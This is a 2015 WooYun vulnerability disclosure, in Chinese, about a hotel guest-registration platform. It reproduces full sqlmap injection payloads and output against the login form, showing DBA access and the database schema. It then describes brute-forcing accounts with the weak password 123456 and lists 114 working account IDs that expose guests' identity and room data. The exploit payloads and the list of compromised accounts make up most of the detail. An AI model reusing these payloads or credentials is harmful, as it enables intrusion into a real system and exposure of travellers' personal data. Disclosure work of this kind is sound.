当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146071

漏洞标题:某旅馆信息采集平台SQL注入(DBA权限\24个数据库\可导致大量旅客开房信息存在泄露风险)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-10-12 09:41

修复时间:2015-11-30 15:10

公开时间:2015-11-30 15:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-12: 细节已通知厂商并且等待厂商处理中
2015-10-16: 厂商已经确认,细节仅向厂商公开
2015-10-26: 细节向核心白帽子及相关领域专家公开
2015-11-05: 细节向普通白帽子公开
2015-11-15: 细节向实习白帽子公开
2015-11-30: 细节向公众公开

简要描述:

跟着大牛的步伐走。登录处还有SQL注入,DBA权限,可导致海量旅客信息存在泄露风险(开房信息/身份证/姓名/宾馆/房间号等等)

详细说明:

http://**.**.**.**/bugs/wooyun-2015-0136013
洞主虽然没有把地址贴出来,但是图片没有打好码,地址还是给出来了!~~~
首先测试了一下洞主所说的弱口令,发现已经被修改了!~~~难道已经联系上对方了?
那就测试下是否含有注入吧。丢给Fiddler抓包,然后丢给sqlmap进行测试分析,发现果然还有注入。

http://**.**.**.**:235/dylgy/login.aspx (POST)
__VIEWSTATE=/wEPDwUKLTMwNzAzNzM0NQ9kFgICAw9kFgICAw9kFgJmD2QWAgIBD2QWBAIBDw9kFgIeCm9uS2V5UHJlc3M
FHU5leHRGb2N1cyhldmVudCwndGJQYXNzd29yZCcpZAIFDw9kFgIfAAVdaWYoZXZlbnQua2V5Q29kZT09MTMpIHsgdmFyIGJ0bk
xvZ2luPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpYnRMb2dpbicpOyBidG5Mb2dpbi5jbGljaygpOyB9ZBgBBR5fX0NvbnRyb2xzU
mVxdWlyZVBvc3RCYWNrS2V5X18WAQUIaWJ0TG9naW7pw45887GUljKUBlZQ%2BPf0rwigoQ%3D
%3D&tbUser=admin&tbPassword=123456&hdCert=&hdSSL=&hdSerial=&__EVENTVALIDATION=/wEWCALQv5HxCgLGvdL3A
QKr8tnHBgK3jsrkBAKM54rGBgLL/Yu6AwKt6sazBAKu4tDbCgyA4kQ683ve96Rc0gSsis5/BKx3&ibtLogin.x=41&ibtLogin.y=17


未添加测试参数--level 5 --risk 3测试结果为Oracle AND time-based blind类型注入

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: tbUser
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: __VIEWSTATE=/wEPDwUKLTMwNzAzNzM0NQ9kFgICAw9kFgICAw9kFgJmD2QWAgIBD2Q
WBAIBDw9kFgIeCm9uS2V5UHJlc3MFHU5leHRGb2N1cyhldmVudCwndGJQYXNzd29yZCcpZAIFDw9kFgI
fAAVdaWYoZXZlbnQua2V5Q29kZT09MTMpIHsgdmFyIGJ0bkxvZ2luPWRvY3VtZW50LmdldEVsZW1lbnR
CeUlkKCdpYnRMb2dpbicpOyBidG5Mb2dpbi5jbGljaygpOyB9ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB
vc3RCYWNrS2V5X18WAQUIaWJ0TG9naW7pw45887GUljKUBlZQ+Pf0rwigoQ==&tbUser=admin' AND
5817=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(115)||CHR(118)||CHR(72),5) AND 'LHCW
'='LHCW&tbPassword=123456&hdCert=&hdSSL=&hdSerial=&__EVENTVALIDATION=/wEWCALQv5H
xCgLGvdL3AQKr8tnHBgK3jsrkBAKM54rGBgLL/Yu6AwKt6sazBAKu4tDbCgyA4kQ683ve96Rc0gSsis5
/BKx3&ibtLogin.x=41&ibtLogin.y=17
---
[09:00:17] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[09:00:17] [INFO] fetching current user
[09:00:17] [WARNING] multi-threading is considered unsafe in time-based data ret
rieval. Going to switch it off automatically
[09:00:17] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[09:00:28] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based payloads
[09:00:39] [INFO] adjusting time delay to 1 second due to good response times
SPECIAL
current user: 'SPECIAL'
[09:01:08] [INFO] fetching current database
[09:01:08] [INFO] resumed: SPECIAL
[09:01:08] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'SPECIAL'
[09:01:08] [INFO] testing if current user is DBA
current user is DBA: True


1.jpg


添加测试参数--level 5 --risk 3测试结果为OR boolean-based blind - WHERE or HAVING clause和Oracle AND time-based blind类型
注入

sqlmap identified the following injection points with a total of 467 HTTP(s) req
uests:
---
Place: POST
Parameter: tbUser
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKLTMwNzAzNzM0NQ9kFgICAw9kFgICAw9kFgJmD2QWAgIBD2Q
WBAIBDw9kFgIeCm9uS2V5UHJlc3MFHU5leHRGb2N1cyhldmVudCwndGJQYXNzd29yZCcpZAIFDw9kFgI
fAAVdaWYoZXZlbnQua2V5Q29kZT09MTMpIHsgdmFyIGJ0bkxvZ2luPWRvY3VtZW50LmdldEVsZW1lbnR
CeUlkKCdpYnRMb2dpbicpOyBidG5Mb2dpbi5jbGljaygpOyB9ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB
vc3RCYWNrS2V5X18WAQUIaWJ0TG9naW7pw45887GUljKUBlZQ+Pf0rwigoQ==&tbUser=-6205' OR (
8434=8434) AND 'hQWw'='hQWw&tbPassword=123456&hdCert=&hdSSL=&hdSerial=&__EVENTVA
LIDATION=/wEWCALQv5HxCgLGvdL3AQKr8tnHBgK3jsrkBAKM54rGBgLL/Yu6AwKt6sazBAKu4tDbCgy
A4kQ683ve96Rc0gSsis5/BKx3&ibtLogin.x=41&ibtLogin.y=17
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: __VIEWSTATE=/wEPDwUKLTMwNzAzNzM0NQ9kFgICAw9kFgICAw9kFgJmD2QWAgIBD2Q
WBAIBDw9kFgIeCm9uS2V5UHJlc3MFHU5leHRGb2N1cyhldmVudCwndGJQYXNzd29yZCcpZAIFDw9kFgI
fAAVdaWYoZXZlbnQua2V5Q29kZT09MTMpIHsgdmFyIGJ0bkxvZ2luPWRvY3VtZW50LmdldEVsZW1lbnR
CeUlkKCdpYnRMb2dpbicpOyBidG5Mb2dpbi5jbGljaygpOyB9ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB
vc3RCYWNrS2V5X18WAQUIaWJ0TG9naW7pw45887GUljKUBlZQ+Pf0rwigoQ==&tbUser=admin' AND
5001=DBMS_PIPE.RECEIVE_MESSAGE(CHR(100)||CHR(85)||CHR(90)||CHR(86),5) AND 'NOeD'
='NOeD&tbPassword=123456&hdCert=&hdSSL=&hdSerial=&__EVENTVALIDATION=/wEWCALQv5Hx
CgLGvdL3AQKr8tnHBgK3jsrkBAKM54rGBgLL/Yu6AwKt6sazBAKu4tDbCgyA4kQ683ve96Rc0gSsis5/
BKx3&ibtLogin.x=41&ibtLogin.y=17
---
[09:12:36] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Oracle
[09:12:36] [INFO] fetching current user
[09:12:36] [INFO] retrieving the length of query output
[09:12:36] [INFO] retrieved: 7
[09:13:11] [INFO] retrieved: SPECIAL
current user: 'SPECIAL'
[09:13:11] [INFO] fetching current database
[09:13:11] [INFO] retrieving the length of query output
[09:13:11] [INFO] resumed: 7
[09:13:11] [INFO] resumed: SPECIAL
[09:13:11] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'SPECIAL'
[09:13:11] [INFO] testing if current user is DBA
current user is DBA: True


2.jpg


Database: SPECIAL
+-------------+---------+
| Table | Entries |
+-------------+---------+
| STATIONLIST | 1188 |
| MESSAGE | 4 |
+-------------+---------+
Database: SPECIAL
Table: STATIONLIST
[20 columns]
+-----------------+----------+
| Column | Type |
+-----------------+----------+
| CSLX | VARCHAR2 |
| CURRENTNO | NUMBER |
| DATENOW | VARCHAR2 |
| DIALBZID | NUMBER |
| DIALTIMELIST | CLOB |
| DIALTYPE | VARCHAR2 |
| ENCODESTATIONID | VARCHAR2 |
| HDTYPE | VARCHAR2 |
| HTYPE | VARCHAR2 |
| LINCUN | VARCHAR2 |
| PASSWORD | VARCHAR2 |
| PHONEIDLIST | VARCHAR2 |
| SFSW | VARCHAR2 |
| SL_USEFLAG | NUMBER |
| SL_VERSION | VARCHAR2 |
| STATIONID | VARCHAR2 |
| STATIONNAME | VARCHAR2 |
| TBSJ | DATE |
| UPLOADFLAG | VARCHAR2 |
| XUHAO | NUMBER |
+-----------------+----------+


3.jpg


4.jpg


5.jpg


5-2.jpg


6.jpg


7.jpg

漏洞证明:

6.jpg


7.jpg


爆破
根据
http://**.**.**.**/bugs/wooyun-2015-0136013
所提供的地址以及宾馆的代码,采用弱口令进行爆破
测试2000个帐号试试
5106230000-5106232000测试弱口令123456

1.jpg


2.jpg


Length为4541表示该帐号为弱口令

3.jpg


2000个里面有114个,可进入获得大量旅客信息。
下面帮忙打码!~~~

Payload
5106230001
5106230002
5106230011
5106230004
5106230012
5106230010
5106230009
5106230014
5106230016
5106230006
5106230018
5106230022
5106230021
5106230028
5106230026
5106230027
5106230032
5106230034
5106230035
5106230036
5106230020
5106230038
5106230039
5106230040
5106230041
5106230037
5106230042
5106230043
5106230046
5106230047
5106230045
5106230049
5106230050
5106230051
5106230052
5106230048
5106230053
5106230054
5106230055
5106230056
5106230058
5106230060
5106230029
5106230061
5106230063
5106230065
5106230067
5106230064
5106230071
5106230070
5106230074
5106230072
5106230078
5106230079
5106230081
5106230087
5106230033
5106230094
5106230096
5106230097
5106230092
5106230088
5106230103
5106230089
5106230106
5106230107
5106230104
5106230109
5106230114
5106230115
5106230113
5106230116
5106230118
5106230120
5106230117
5106230111
5106230122
5106230124
5106230135
5106230137
5106230140
5106230141
5106230143
5106230142
5106230145
5106230148
5106230146
5106230139
5106230151
5106230152
5106230157
5106230159
5106230162
5106230150
5106230164
5106230163
5106230167
5106230165
5106230156
5106230169
5106230173
5106230176
5106230166
5106230180
5106230126
5106230181
5106230182
5106230186
5106230174
5106230187
5106230185
5106230179
5106230188
5106230189


Length为4546表示该帐号为过期用户

4.jpg


Length为4558表示该帐号为密码非123456

5.jpg


Length为4657、4658表示该帐号即将过期

6.jpg


7.jpg


8.jpg


9.jpg


7.jpg


8.jpg


9.jpg


修复方案:

过滤修复
强化口令

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-10-16 15:08

厂商回复:

暂未建立与网站管理单位的直接处置渠道,待认领.

最新状态:

暂无